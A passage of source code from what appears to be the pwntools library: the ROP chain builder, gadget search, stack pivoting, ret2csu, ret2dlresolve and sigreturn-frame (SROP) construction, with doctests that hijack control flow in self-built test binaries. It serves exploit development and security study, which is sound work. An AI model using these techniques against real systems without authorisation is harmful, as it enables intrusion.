and save as much descriptive information\n        # as possible.\n        #\n        # The only replacements performed are to add stack adjustment gadgets\n        # (to move SP to the next gadget after a Call) and NextGadgetAddress,\n        # which can only be calculated in this pass.\n        #\n        iterable = enumerate(chain)\n        for idx, slot in iterable:\n\n            remaining = len(chain) - 1 - idx\n            address   = stack.next\n\n            # Integers can just be added.\n            # Do our best to find out what the address is.\n            if isinstance(slot, int):\n                stack.describe(self.describe(slot))\n                stack.append(slot)\n\n\n            # Byte blobs can also be added, however they must be\n            # broken down into pointer-width blobs.\n            elif isinstance(slot, (bytes, str)):\n                stack.describe(self.describe(slot))\n                if not isinstance(slot, bytes):\n                    slot = slot.encode()\n\n                for chunk in lists.group(context.bytes, slot):\n                    stack.append(chunk)\n\n            elif isinstance(slot, srop.SigreturnFrame):\n                stack.describe(\"Sigreturn Frame\")\n\n                if slot.sp in (0, None) and self.base:\n                    slot.sp = stack.next + len(slot)\n\n                registers = [slot.registers[i] for i in sorted(slot.registers.keys())]\n                for register in registers:\n                    value       = slot[register]\n                    description = self.describe(value)\n                    if description:\n                        stack.describe('%s = %s' % (register, description))\n                    else:\n                        stack.describe('%s' % (register))\n                    stack.append(value)\n\n            elif isinstance(slot, Call):\n                stack.describe(self.describe(slot))\n\n                registers    = slot.register_arguments\n\n                for value, name in self.setRegisters(registers):\n                    if name in registers:\n                        index = slot.abi.register_arguments.index(name)\n                        description = self.describe(value) or repr(value)\n                        stack.describe('[arg%d] %s = %s' % (index, name, description))\n                    elif isinstance(name, Gadget):\n                        stack.describe('; '.join(name.insns))\n                    elif isinstance(name, str):\n                        stack.describe(name)\n                    stack.append(value)\n\n                if address != stack.next:\n                    stack.describe(slot.name)\n\n                stack.append(slot.target)\n\n                # For any remaining arguments, put them on the stack\n                stackArguments = slot.stack_arguments\n                for argument in slot.stack_arguments_before:\n                    stack.describe(\"[dlresolve index]\")\n                    stack.append(argument)\n                nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))\n\n                # Generally, stack-based arguments assume there's a return\n                # address on the stack.\n                #\n                # We need to at least put padding there so that things line up\n                # properly, but likely also need to adjust the stack past the\n                # arguments.\n                if slot.abi.returns:\n\n                    # Save off the address of the next gadget\n                    if remaining or stackArguments:\n                        nextGadgetAddr = stack.next\n\n                    # If there were arguments on the stack, we need to stick something\n                    # in the slot where the return address goes.\n                    if len(stackArguments) > 0:\n                        if remaining and (remaining > 1 or Call.is_flat(chain[-1])):\n                            fix_size  = (1 + len(stackArguments))\n                            fix_bytes = fix_size * context.bytes\n                            adjust   = self.search(move = fix_bytes)\n\n                            if not adjust:\n                                log.error(\"Could not find gadget to adjust stack by %#x bytes\" % fix_bytes)\n\n                            nextGadgetAddr += adjust.move\n\n                            stack.describe('<adjust @%#x> %s' % (nextGadgetAddr, self.describe(adjust)))\n                            stack.append(adjust.address)\n\n                            for pad in range(fix_bytes, adjust.move, context.bytes):\n                                stackArguments.append(Padding())\n\n                        # We could not find a proper \"adjust\" gadget, but also didn't need one.\n                        elif remaining:\n                            _, nxslot = next(iterable)\n                            stack.describe(self.describe(nxslot))\n                            if isinstance(nxslot, Call):\n                                stack.append(nxslot.target)\n                            else:\n                                stack.append(nxslot)\n                        else:\n                            stack.append(Padding(\"<return address>\"))\n\n\n                for i, argument in enumerate(stackArguments):\n\n                    if isinstance(argument, NextGadgetAddress):\n                        stack.describe(\"<next gadget>\")\n                        stack.append(nextGadgetAddr)\n\n                    else:\n                        description = self.describe(argument) or 'arg%i' % (i + len(registers))\n                        stack.describe(description)\n                        stack.append(argument)\n            else:\n                stack.append(slot)\n        #\n        # Second pass\n        #\n        # All of the register-loading, stack arguments, and call addresses\n        # are on the stack.  We can now start loading in absolute addresses.\n        #\n        start = base\n        end   = stack.next\n        size  = (stack.next - base)\n        slot_address = base\n        for i, slot in enumerate(stack):\n            if isinstance(slot, int):\n                pass\n\n            elif isinstance(slot, (bytes, str)):\n                pass\n\n            elif isinstance(slot, AppendedArgument):\n                stack[i] = stack.next\n                stack.extend(slot.resolve(stack.next))\n\n            elif isinstance(slot, CurrentStackPointer):\n                stack[i] = slot_address\n\n            elif isinstance(slot, Padding):\n                stack[i] = self.generatePadding(i * context.bytes, context.bytes)\n                stack.describe(slot.name, slot_address)\n\n            elif isinstance(slot, Gadget):\n                stack[i] = slot.address\n                stack.describe(self.describe(slot), slot_address)\n\n            # Everything else we can just leave in place.\n            # Maybe the user put in something on purpose?\n            # Also, it may work in pwnlib.util.packing.flat()\n            else:\n                pass\n\n            slot_address += _slot_len(slot)\n\n        return stack\n\n    def chain(self, base=None):\n        \"\"\"Build the ROP chain\n\n        Arguments:\n            base(int):\n                The base address to build the rop-chain from. Defaults to\n                :attr:`base`.\n\n        Returns:\n            str containing raw ROP bytes\n        \"\"\"\n        return packing.flat(self.build(base=base))\n\n    def dump(self, base=None):\n        \"\"\"Dump the ROP chain in an easy-to-read manner\n\n        Arguments:\n            base(int):\n                The base address to build the rop-chain from. Defaults to\n                :attr:`base`.\n        \"\"\"\n        return self.build(base=base).dump()\n\n    def regs(self, registers=None, **kw):\n        if registers is None:\n            registers = {}\n        registers.update(kw)\n\n\n\n    def call(self, resolvable, arguments = (), abi = None, **kwargs):\n        \"\"\"Add a call to the ROP chain\n\n        Arguments:\n            resolvable(str,int): Value which can be looked up via 'resolve',\n                or is already an integer.\n            arguments(list): List of arguments which can be passed to pack().\n                Alternately, if a base address is set, arbitrarily nested\n                structures of strings or integers can be provided.\n        \"\"\"\n        if self.migrated:\n            log.error('Cannot append to a migrated chain')\n\n        # If we can find a function with that name, just call it\n        if isinstance(resolvable, str):\n            addr = self.resolve(resolvable)\n        elif hasattr(resolvable, 'name') and hasattr(resolvable, 'address'):\n            addr = resolvable.address\n            resolvable = str(resolvable.name)\n        else:\n            addr = resolvable\n            resolvable = ''\n\n        if addr:\n            self.raw(Call(resolvable, addr, arguments, abi))\n\n        # Otherwise, if it is a syscall we might be able to call it\n        elif not self._srop_call(resolvable, arguments):\n            log.error('Could not resolve %r.' % resolvable)\n\n\n\n    def _srop_call(self, resolvable, arguments):\n        # Check that the call is a valid syscall\n        resolvable    = 'SYS_' + resolvable.lower()\n        syscall_number = getattr(constants, resolvable, None)\n        if syscall_number is None:\n            return False\n\n        log.info_once(\"Using sigreturn for %r\" % resolvable)\n\n        # Find an int 0x80 or similar instruction we can use\n        syscall_gadget       = None\n        syscall_instructions = srop.syscall_instructions[context.arch]\n\n        for instruction in syscall_instructions:\n            syscall_gadget = self.find_gadget([instruction])\n            if syscall_gadget:\n                break\n        else:\n            log.error(\"Could not find any instructions in %r\" % syscall_instructions)\n\n        # Generate the SROP frame which would invoke the syscall\n        with context.local(arch=self.elfs[0].arch):\n            frame         = srop.SigreturnFrame()\n            frame.pc      = syscall_gadget\n            frame.syscall = syscall_number\n\n            try:\n                SYS_sigreturn  = constants.SYS_sigreturn\n            except AttributeError:\n                SYS_sigreturn  = constants.SYS_rt_sigreturn\n\n            for register, value in zip(frame.arguments, arguments):\n                if not isinstance(value, (int, Unresolved)):\n                    frame[register] = AppendedArgument(value)\n                else:\n                    frame[register] = value\n\n        # Set up a call frame which will set EAX and invoke the syscall\n        call = Call('SYS_sigreturn',\n                    syscall_gadget,\n                    [SYS_sigreturn],\n                    abi.ABI.sigreturn())\n\n        self.raw(call)\n        self.raw(frame)\n\n\n        # We do not expect to ever recover after the syscall, as it would\n        # require something like 'int 0x80; ret' which does not ever occur\n        # in the wild.\n        self.migrated = True\n\n        return True\n\n    def find_gadget(self, instructions):\n        \"\"\"\n        Returns a gadget with the exact sequence of instructions specified\n        in the ``instructions`` argument.\n        \"\"\"\n        n = len(instructions)\n        for gadget in self.gadgets.values():\n            if tuple(gadget.insns)[:n] == tuple(instructions):\n                return gadget\n\n    def _flatten(self, initial_list):\n        # Flatten out any nested lists.\n        flattened_list = []\n        for data in initial_list:\n            if isinstance(data, (list, tuple)):\n                flattened_list.extend(self._flatten(data))\n            else:\n                flattened_list.append(data)\n        return flattened_list\n\n    def raw(self, value):\n        \"\"\"Adds a raw integer or string to the ROP chain.\n\n        If your architecture requires aligned values, then make\n        sure that any given string is aligned!\n\n        When given a list or a tuple of values, the list is\n        flattened before adding every item to the chain.\n\n        Arguments:\n            data(int/bytes/list): The raw value to put onto the rop chain.\n\n        >>> context.clear(arch='i386')\n        >>> rop = ROP([])\n        >>> rop.raw('AAAAAAAA')\n        >>> rop.raw('BBBBBBBB')\n        >>> rop.raw('CCCCCCCC')\n        >>> rop.raw(['DDDD', 'DDDD'])\n        >>> print(rop.dump())\n        0x0000:          b'AAAA' 'AAAAAAAA'\n        0x0004:          b'AAAA'\n        0x0008:          b'BBBB' 'BBBBBBBB'\n        0x000c:          b'BBBB'\n        0x0010:          b'CCCC' 'CCCCCCCC'\n        0x0014:          b'CCCC'\n        0x0018:          b'DDDD' 'DDDD'\n        0x001c:          b'DDDD' 'DDDD'\n        \"\"\"\n        if self.migrated:\n            log.error('Cannot append to a migrated chain')\n\n        if isinstance(value, (list, tuple)):\n            self._chain.extend(self._flatten(value))\n        else:\n            self._chain.append(value)\n\n    def migrate(self, next_base):\n        \"\"\"Explicitly set $sp, by using a ``leave; ret`` gadget\"\"\"\n        if isinstance(next_base, ROP):\n            next_base = next_base.base\n        pop_sp = self.rsp or self.esp\n        pop_bp = self.rbp or self.ebp\n        leave  = self.leave\n        if pop_sp and len(pop_sp.regs) == 1:\n            self.raw(pop_sp)\n            self.raw(next_base)\n        elif pop_bp and leave and len(pop_bp.regs) == 1:\n            self.raw(pop_bp)\n            self.raw(next_base - context.bytes)\n            self.raw(leave)\n        else:\n            log.error('Cannot find the gadgets to migrate')\n        self.migrated = True\n\n    def __bytes__(self):\n        \"\"\"Returns: Raw bytes of the ROP chain\"\"\"\n        return self.chain()\n\n    def __flat__(self):\n        return self.chain()\n\n    def __flat_at__(self, address):\n        return self.chain(address)\n\n    def __get_cachefile_name(self, files):\n        \"\"\"Given an ELF or list of ELF objects, return a cache file for the set of files\"\"\"\n        if context.cache_dir is None:\n            return None\n\n        cachedir = os.path.join(context.cache_dir, 'rop-cache')\n        os.makedirs(cachedir, exist_ok=True)\n\n        if isinstance(files, ELF):\n            files = [files]\n\n        sha256 = hashlib.sha256()\n        for elf_data in sorted(elf.get_data() for elf in files):\n            sha256.update(elf_data)\n\n        return os.path.join(cachedir, sha256.hexdigest())\n\n    @staticmethod\n    def clear_cache():\n        \"\"\"Clears the ROP gadget cache\"\"\"\n        if context.cache_dir is None:\n            return\n        cachedir = os.path.join(context.cache_dir, 'rop-cache')\n        shutil.rmtree(cachedir)\n\n    def __cache_load(self, elf):\n        filename = self.__get_cachefile_name(elf)\n        if filename is None or not os.path.exists(filename):\n            return None\n        gadgets = safeeval.const(open(filename).read())\n        gadgets = {k - elf.load_addr + elf.address:v for k, v in gadgets.items()}\n        log.info_once('Loaded %s cached gadgets for %r', len(gadgets), elf.path)\n        return gadgets\n\n    def __cache_save(self, elf, data):\n        filename = self.__get_cachefile_name(elf)\n        if filename is None:\n            return\n        data = {k + elf.load_addr - elf.address:v for k, v in data.items()}\n        open(filename, 'w+').write(repr(data))\n\n    def __load(self):\n        \"\"\"Load all ROP gadgets for the selected ELF files\"\"\"\n        #\n        # We accept only instructions that look like these.\n        #\n        # - leave\n        # - pop reg\n        # - add $sp, <hexadecimal value>\n        # - ret\n        #\n        # Currently, ROPgadget does not detect multi-byte \"C2\" ret.\n        # https://github.com/JonathanSalwan/ROPgadget/issues/53\n        #\n\n        pop   = re.compile(r'^pop (.{2,3})')\n        add   = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')\n        ret   = re.compile(r'^ret$')\n        leave = re.compile(r'^leave$')\n        int80 = re.compile(r'int +0x80')\n        syscall = re.compile(r'^syscall$')\n        sysenter = re.compile(r'^sysenter$')\n\n        #\n        # Validation routine\n        #\n        # >>> valid('pop eax')\n        # True\n        # >>> valid('add rax, 0x24')\n        # False\n        # >>> valid('add esp, 0x24')\n        # True\n        # >>> valid('add esp, esi')\n        # False\n        #\n        valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))\n\n        gadgets = {}\n        for elf in self.elfs:\n            cache = self.__cache_load(elf)\n            if cache:\n                gadgets.update(cache)\n                continue\n            log.info_once('Loading gadgets for %r' % elf.path)\n            import ropgadget\n            arguments = ['--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop', '--multibr']\n            args = ropgadget.args.Args(arguments).getArgs()\n            core = ropgadget.core.Core(args)\n            core.do_binary(elf.path, silent=True)\n            core.do_load(0, silent=True)\n\n            elf_gadgets = {}\n            for gadget in core._Core__gadgets:\n                address = gadget['vaddr'] - elf.load_addr + elf.address\n                insns = [ g.strip() for g in gadget['gadget'].split(';') ]\n                if all(map(valid, insns)):\n                    elf_gadgets[address] = insns\n\n            self.__cache_save(elf, elf_gadgets)\n            gadgets.update(elf_gadgets)\n\n        #\n        # For each gadget we decided to keep, find out how much it moves the stack,\n        # and log which registers it modifies.\n        #\n        self.gadgets = {}\n        self.pivots = {}\n        frame_regs = {\n            4: ['ebp', 'esp'],\n            8: ['rbp', 'rsp']\n        }[context.bytes]\n\n        for addr, insns in gadgets.items():\n\n            # Filter out gadgets by address against badchars\n            if set(pack(addr)) & self._badchars:\n                continue\n\n            sp_move = 0\n            regs = []\n            for insn in insns:\n                if pop.match(insn):\n                    regs.append(pop.match(insn).group(1))\n                    sp_move += context.bytes\n                    if 'sp' in insn:\n                        sp_move += 9999999\n                elif add.match(insn):\n                    arg = int(add.match(insn).group(1), 16)\n                    sp_move += arg\n                    regs.append(arg)\n                elif ret.match(insn):\n                    sp_move += context.bytes\n                elif leave.match(insn):\n                    #\n                    # HACK: Since this modifies ESP directly, this should\n                    #       never be returned as a 'normal' ROP gadget that\n                    #       simply 'increments' the stack.\n                    #\n                    #       As such, the 'move' is set to a very large value,\n                    #       to prevent .search() from returning it unless $sp\n                    #       is specified as a register.\n                    #\n                    sp_move += 9999999999\n                    regs += frame_regs\n\n            # Permit duplicates, because blacklisting bytes in the gadget\n            # addresses may result in us needing the dupes.\n            self.gadgets[addr] = Gadget(addr, insns, regs, sp_move)\n\n            # Don't use 'pop esp' for pivots\n            if not set(['rsp', 'esp']) & set(regs):\n                self.pivots[sp_move] = addr\n\n        leave = self.search(regs=frame_regs, order='leav')\n        if leave and leave.regs != frame_regs:\n            leave = None\n        self.leave = leave\n\n    def __repr__(self):\n        return 'ROP(%r)' % self.elfs\n\n    def search_iter(self, move=None, regs=None):\n        \"\"\"\n        Iterate through all gadgets which move the stack pointer by\n        *at least* ``move`` bytes, and which allow you to set all\n        registers in ``regs``.\n        \"\"\"\n        move = move or 0\n        regs = set(regs or ())\n\n        for addr, gadget in self.gadgets.items():\n            addr_bytes = set(pack(gadget.address))\n            if addr_bytes & self._badchars:     continue\n            if gadget.insns[-1] != 'ret':        continue\n            if gadget.move < move:               continue\n            if not (regs <= set(gadget.regs)):   continue\n            yield gadget\n\n    def search(self, move = 0, regs = None, order = 'size'):\n        \"\"\"Search for a gadget which matches the specified criteria.\n\n        Arguments:\n            move(int): Minimum number of bytes by which the stack\n                pointer is adjusted.\n            regs(list): Minimum list of registers which are popped off the\n                stack.\n            order(str): Either the string 'size', 'leav' or 'regs'. Decides how to\n                order multiple gadgets the fulfill the requirements.\n\n        The search will try to minimize the number of bytes popped more than\n        requested, the number of registers touched besides the requested and\n        the address.\n\n        If ``order == 'size'``, then gadgets are compared lexicographically\n        by ``(total_moves, total_regs, addr)``, if ``order == 'regs'``,\n        then by ``(total_regs, total_moves, addr)``. ``order == 'leav'``\n        is specifically for ``leave`` insn.\n\n        Returns:\n            A :class:`.Gadget` object\n        \"\"\"\n        matches = self.search_iter(move, regs)\n        if matches is None:\n            return None\n\n        # Search for an exact match, save the closest match\n        key = {\n            'size': lambda g: (g.move, len(g.regs), g.address),\n            'regs': lambda g: (len(g.regs), g.move, g.address),\n            'leav': lambda g: ('leave' not in g.insns, len(g.regs), g.address)\n        }[order]                # False is prior than True\n\n        try:\n            result = min(matches, key=key)\n        except ValueError:\n            return None\n\n        # Check for magic 9999999... value used by 'leave; ret'\n        if move and result.move == 9999999999:\n            return None\n\n        return result\n\n    def ret2csu(self, edi=Padding('edi'), rsi=Padding('rsi'),\n                rdx=Padding('rdx'), rbx=Padding('rbx'), rbp=Padding('rbp'),\n                r12=Padding('r12'), r13=Padding('r13'), r14=Padding('r14'),\n                r15=Padding('r15'), call=None):\n        \"\"\"Build a ret2csu ROPchain\n\n        Arguments:\n            edi, rsi, rdx: Three primary registers to populate\n            rbx, rbp, r12, r13, r14, r15: Optional registers to populate\n            call: Pointer to the address of a function to call during\n                second gadget. If None then use the address of _fini in the\n                .dynamic section. .got.plt entries are a good target. Required\n                for PIE binaries.\n        Test:\n\n            >>> context.clear(binary=pwnlib.data.elf.ret2dlresolve.get(\"amd64\"))\n            >>> r = ROP(context.binary)\n            >>> r.ret2csu(1, 2, 3, 4, 5, 6, 7, 8, 9)\n            >>> r.call(0xdeadbeef)\n            >>> print(r.dump())\n            0x0000:         0x40058a\n            0x0008:              0x0\n            0x0010:              0x1\n            0x0018:         0x600e48\n            0x0020:              0x1\n            0x0028:              0x2\n            0x0030:              0x3\n            0x0038:         0x400570\n            0x0040:      b'qaaaraaa' <add rsp, 8>\n            0x0048:              0x4\n            0x0050:              0x5\n            0x0058:              0x6\n            0x0060:              0x7\n            0x0068:              0x8\n            0x0070:              0x9\n            0x0078:       0xdeadbeef 0xdeadbeef()\n            >>> open('core','w').close(); os.unlink('core')  # remove any old core file for the tests\n            >>> p = process()\n            >>> p.send(fit({64+context.bytes: r}))\n            >>> p.wait(0.5)\n            >>> core = p.corefile\n            >>> hex(core.pc)\n            '0xdeadbeef'\n            >>> core.rdi, core.rsi, core.rdx, core.rbx, core.rbp, core.r12, core.r13, core.r14, core.r15\n            (1, 2, 3, 4, 5, 6, 7, 8, 9)\n        \"\"\"\n        if self.migrated:\n            log.error('Cannot append to a migrated chain')\n\n        # Ensure 'edi' argument is packable\n        try:\n            packing.p32(edi)\n        except struct.error:\n            log.error('edi must be a 32bit value')\n\n        # Find an appropriate, non-library ELF.\n        # Prioritise non-PIE binaries so we can use _fini\n        exes = (elf for elf in self.elfs if not elf.library and elf.bits == 64)\n\n        csu = None\n        for elf in exes:\n            if '__libc_csu_init' in elf.symbols:\n                csu = elf\n                if not elf.pie:\n                    break\n\n        if csu:\n            elf = csu\n        else:\n            log.error('No non-library binaries in [elfs]')\n\n        from .ret2csu import ret2csu\n        ret2csu(self, elf, edi, rsi, rdx, rbx, rbp, r12, r13, r14, r15, call)\n\n    def ret2dlresolve(self, dlresolve):\n        elf = next(elf for elf in self.elfs if elf.get_section_by_name(\".plt\"))\n        elf_base = elf.address if elf.pie else 0\n        plt_init = elf.get_section_by_name(\".plt\").header.sh_addr + elf_base\n        log.debug(\"PLT_INIT: %#x\", plt_init)\n\n        reloc_index = dlresolve.reloc_index\n        call = Call(\"[plt_init] \" + dlresolve.symbol.decode(),\n                    plt_init,\n                    dlresolve.real_args,\n                    before=[reloc_index])\n        self.raw(call)\n\n    def __getattr__(self, attr):\n        \"\"\"Helper to make finding ROP gadgets easier.\n\n        Also provides a shorthand for ``.call()``:\n            ``rop.function(args)`` is equivalent to ``rop.call(function, args)``\n\n        >>> context.clear(arch='i386')\n        >>> elf=ELF(which('bash'))\n        >>> rop=ROP([elf])\n        >>> rop.rdi     == rop.search(regs=['rdi'], order = 'regs')\n        True\n        >>> rop.r13_r14_r15_rbp == rop.search(regs=['r13','r14','r15','rbp'], order = 'regs')\n        True\n        >>> rop.ret_8   == rop.search(move=8)\n        True\n        >>> rop.ret is not None\n        True\n        >>> with context.local(arch='amd64', bits='64'):\n        ...     r = ROP(ELF.from_assembly('syscall; ret'))\n        >>> r.syscall is not None\n        True\n        \"\"\"\n        gadget = collections.namedtuple('gadget', ['address', 'details'])\n\n        if attr in self.__dict__ \\\n        or attr in self.BAD_ATTRS \\\n        or attr.startswith('_'):\n            raise AttributeError('ROP instance has no attribute %r' % attr)\n\n        #\n        # Check for 'ret' or 'ret_X'\n        #\n        if attr.startswith('ret'):\n            count = context.bytes\n            if '_' in attr:\n                count = int(attr.split('_')[1])\n            return self.search(move=count)\n\n        #\n        # Check for 'jmp_esp'('i386') or 'jmp_rsp'('amd64')\n        #\n        if attr == 'jmp_esp' and context.arch == 'i386' \\\n        or attr == 'jmp_rsp' and context.arch == 'amd64':\n            jmp_sp = {'i386': 'jmp esp',\n                      'amd64': 'jmp rsp'\n                     }[context.arch]\n\n            insn_asm = b'\\xff\\xe4'\n\n            for elf in self.elfs:\n                for addr in elf.search(insn_asm, executable = True):\n                    if set(pack(addr)) & self._badchars:\n                        continue\n\n                    return Gadget(addr, [jmp_sp], [], context.bytes)\n            return None\n        mapping = {'int80': 'int 0x80',\n            'syscall': 'syscall',\n            'sysenter': 'sysenter'}\n        if attr in mapping:\n            for each in self.gadgets:\n                if self.gadgets[each]['insns'][0] == mapping[attr]:\n                    return gadget(each, self.gadgets[each])\n            return None\n\n        #\n        # Check for a '_'-delimited list of registers\n        #\n        if all(map(lambda x: x[-2:] in self.X86_SUFFIXES, attr.split('_'))):\n            return self.search(regs=attr.split('_'), order='regs')\n\n        #\n        # Otherwise, assume it's a rop.call() shorthand\n        #\n        def call(*args):\n            return self.call(attr, args)\n\n        return call\n\n    def __setattr__(self, attr, value):\n        \"\"\"Helper for setting registers.\n\n        This convenience feature allows one to set the values of registers\n        with simple python assignment syntax.\n\n        Warning:\n            Only one register is set at a time (one per rop chain).\n            This may lead to some previously set to registers be overwritten!\n\n        Note:\n            If you would like to set multiple registers in as few rop chains\n            as possible, see :meth:`__call__`.\n\n        >>> context.clear(arch='amd64')\n        >>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'\n        >>> e = ELF.from_assembly(assembly)\n        >>> r = ROP(e)\n        >>> r.rax = 0xdead\n        >>> r.rdi = 0xbeef\n        >>> r.rsi = 0xcafe\n        >>> print(r.dump())\n        0x0000:       0x10000004 pop rax; ret\n        0x0008:           0xdead\n        0x0010:       0x10000001 pop rdi; pop rsi; ret\n        0x0018:           0xbeef\n        0x0020:      b'iaaajaaa' <pad rsi>\n        0x0028:       0x10000002 pop rsi; ret\n        0x0030:           0xcafe\n        \"\"\"\n        if attr in self.BAD_ATTRS:\n            raise AttributeError('ROP instance has no attribute %r' % attr)\n\n        if attr[-2:] in self.X86_SUFFIXES:  # handle setting registers\n            self({attr: value})\n\n        # Otherwise, perform usual setting\n        self.__dict__[attr] = value\n"
  },
  {
    "path": "pwnlib/rop/srop.py",
    "content": "r\"\"\"\nSigreturn ROP (SROP)\n\nSigreturn is a syscall used to restore the entire register context\nfrom memory pointed at by ESP.\n\nWe can leverage this during ROP to gain control of registers for which\nthere are not convenient gadgets.  The main caveat is that *all* registers\nare set, including ESP and EIP (or their equivalents).  This means that\nin order to continue after using a sigreturn frame, the stack pointer\nmust be set accordingly.\n\ni386 Example:\n\n    Let's just print a message out using SROP.\n\n    >>> message = \"Hello, World\\\\n\"\n\n    First, we'll create our example binary.\n    It just reads some data onto the stack, and invokes\n    the ``sigreturn`` syscall.\n    We also make an ``int 0x80`` gadget available, followed\n    immediately by ``exit(0)``.\n\n    >>> context.clear(arch='i386')\n    >>> assembly =  'setup: sub esp, 1024\\n'\n    >>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'esp', 1024)\n    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()\n    >>> assembly += 'int3:'      + shellcraft.trap()\n    >>> assembly += 'syscall: '  + shellcraft.syscall()\n    >>> assembly += 'exit: '     + 'xor ebx, ebx; mov eax, 1; int 0x80;'\n    >>> assembly += 'message: '  + ('.asciz \"%s\"' % message)\n    >>> binary = ELF.from_assembly(assembly)\n\n    Let's construct our frame to have it invoke a ``write``\n    syscall, and dump the message to stdout.\n\n    >>> frame = SigreturnFrame(kernel='amd64')\n    >>> frame.eax = constants.SYS_write\n    >>> frame.ebx = constants.STDOUT_FILENO\n    >>> frame.ecx = binary.symbols['message']\n    >>> frame.edx = len(message)\n    >>> frame.esp = 0xdeadbeef\n    >>> frame.eip = binary.symbols['syscall']\n\n    Let's start the process, send the data, and check the message.\n\n    >>> p = process(binary.path)\n    >>> p.send(bytes(frame))\n    >>> p.recvline()\n    b'Hello, World\\n'\n    >>> p.poll(block=True)\n    0\n\namd64 Example:\n\n    >>> context.clear()\n    >>> context.arch = \"amd64\"\n    >>> assembly =  'setup: sub rsp, 1024\\n'\n    >>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)\n    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()\n    >>> assembly += 'int3:'      + shellcraft.trap()\n    >>> assembly += 'syscall: '  + shellcraft.syscall()\n    >>> assembly += 'exit: '     + 'xor rdi, rdi; mov rax, 60; syscall;'\n    >>> assembly += 'message: '  + ('.asciz \"%s\"' % message)\n    >>> binary = ELF.from_assembly(assembly)\n    >>> frame = SigreturnFrame()\n    >>> frame.rax = constants.SYS_write\n    >>> frame.rdi = constants.STDOUT_FILENO\n    >>> frame.rsi = binary.symbols['message']\n    >>> frame.rdx = len(message)\n    >>> frame.rsp = 0xdeadbeef\n    >>> frame.rip = binary.symbols['syscall']\n    >>> p = process(binary.path)\n    >>> p.send(bytes(frame))\n    >>> p.recvline()\n    b'Hello, World\\n'\n    >>> p.poll(block=True)\n    0\n\narm Example:\n\n    >>> context.clear()\n    >>> context.arch = \"arm\"\n    >>> assembly =  'setup: sub sp, sp, 1024\\n'\n    >>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)\n    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()\n    >>> assembly += 'int3:'      + shellcraft.trap()\n    >>> assembly += 'syscall: '  + shellcraft.syscall()\n    >>> assembly += 'exit: '     + 'eor r0, r0; mov r7, 0x1; swi #0;'\n    >>> assembly += 'message: '  + ('.asciz \"%s\"' % message)\n    >>> binary = ELF.from_assembly(assembly)\n    >>> frame = SigreturnFrame()\n    >>> frame.r7 = constants.SYS_write\n    >>> frame.r0 = constants.STDOUT_FILENO\n    >>> frame.r1 = binary.symbols['message']\n    >>> frame.r2 = len(message)\n    >>> frame.sp = 0xdead0000\n    >>> frame.pc = binary.symbols['syscall']\n    >>> p = process(binary.path)\n    >>> p.send(bytes(frame))\n    >>> p.recvline()\n    b'Hello, World\\n'\n    >>> p.wait_for_close()\n    >>> p.poll(block=True)\n    0\n\nMips Example:\n\n    >>> context.clear()\n    >>> context.arch = \"mips\"\n    >>> context.endian = \"big\"\n    >>> assembly =  'setup: sub $sp, $sp, 1024\\n'\n    >>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)\n    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()\n    >>> assembly += 'syscall: '  + shellcraft.syscall()\n    >>> assembly += 'exit: '     + shellcraft.exit(0)\n    >>> assembly += 'message: '  + ('.asciz \"%s\"' % message)\n    >>> binary = ELF.from_assembly(assembly)\n    >>> frame = SigreturnFrame()\n    >>> frame.v0 = constants.SYS_write\n    >>> frame.a0 = constants.STDOUT_FILENO\n    >>> frame.a1 = binary.symbols['message']\n    >>> frame.a2 = len(message)\n    >>> frame.sp = 0xdead0000\n    >>> frame.pc = binary.symbols['syscall']\n    >>> p = process(binary.path)\n    >>> p.send(bytes(frame))\n    >>> p.recvline()\n    b'Hello, World\\n'\n    >>> p.poll(block=True)\n    0\n\nMipsel Example:\n\n    >>> context.clear()\n    >>> context.arch = \"mips\"\n    >>> context.endian = \"little\"\n    >>> assembly =  'setup: sub $sp, $sp, 1024\\n'\n    >>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)\n    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()\n    >>> assembly += 'syscall: '  + shellcraft.syscall()\n    >>> assembly += 'exit: '     + shellcraft.exit(0)\n    >>> assembly += 'message: '  + ('.asciz \"%s\"' % message)\n    >>> binary = ELF.from_assembly(assembly)\n    >>> frame = SigreturnFrame()\n    >>> frame.v0 = constants.SYS_write\n    >>> frame.a0 = constants.STDOUT_FILENO\n    >>> frame.a1 = binary.symbols['message']\n    >>> frame.a2 = len(message)\n    >>> frame.sp = 0xdead0000\n    >>> frame.pc = binary.symbols['syscall']\n    >>> p = process(binary.path)\n    >>> p.send(bytes(frame))\n    >>> p.recvline()\n    b'Hello, World\\n'\n    >>> p.poll(block=True)\n    0\n\n\"\"\"\nfrom collections import namedtuple\n\nfrom pwnlib.abi import ABI\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.packing import flat\nfrom pwnlib.util.packing import pack\nfrom pwnlib.util.packing import unpack_many\n\nlog = getLogger(__name__)\n\nregisters = {\n# Reference : http://lxr.free-electrons.com/source/arch/x86/include/asm/sigcontext.h?v=2.6.28#L138\n        'i386' : {0: 'gs', 4: 'fs', 8: 'es', 12: 'ds', 16: 'edi', 20: 'esi', 24: 'ebp', 28: 'esp',\n                  32: 'ebx', 36: 'edx', 40: 'ecx', 44: 'eax', 48: 'trapno', 52: 'err', 56: 'eip',\n                  60: 'cs', 64: 'eflags', 68: 'esp_at_signal', 72: 'ss', 76: 'fpstate'},\n# Reference : https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf\n        'amd64': {0: 'uc_flags', 8: '&uc', 16: 'uc_stack.ss_sp', 24: 'uc_stack.ss_flags',\n                  32: 'uc_stack.ss_size', 40: 'r8', 48: 'r9', 56: 'r10', 64: 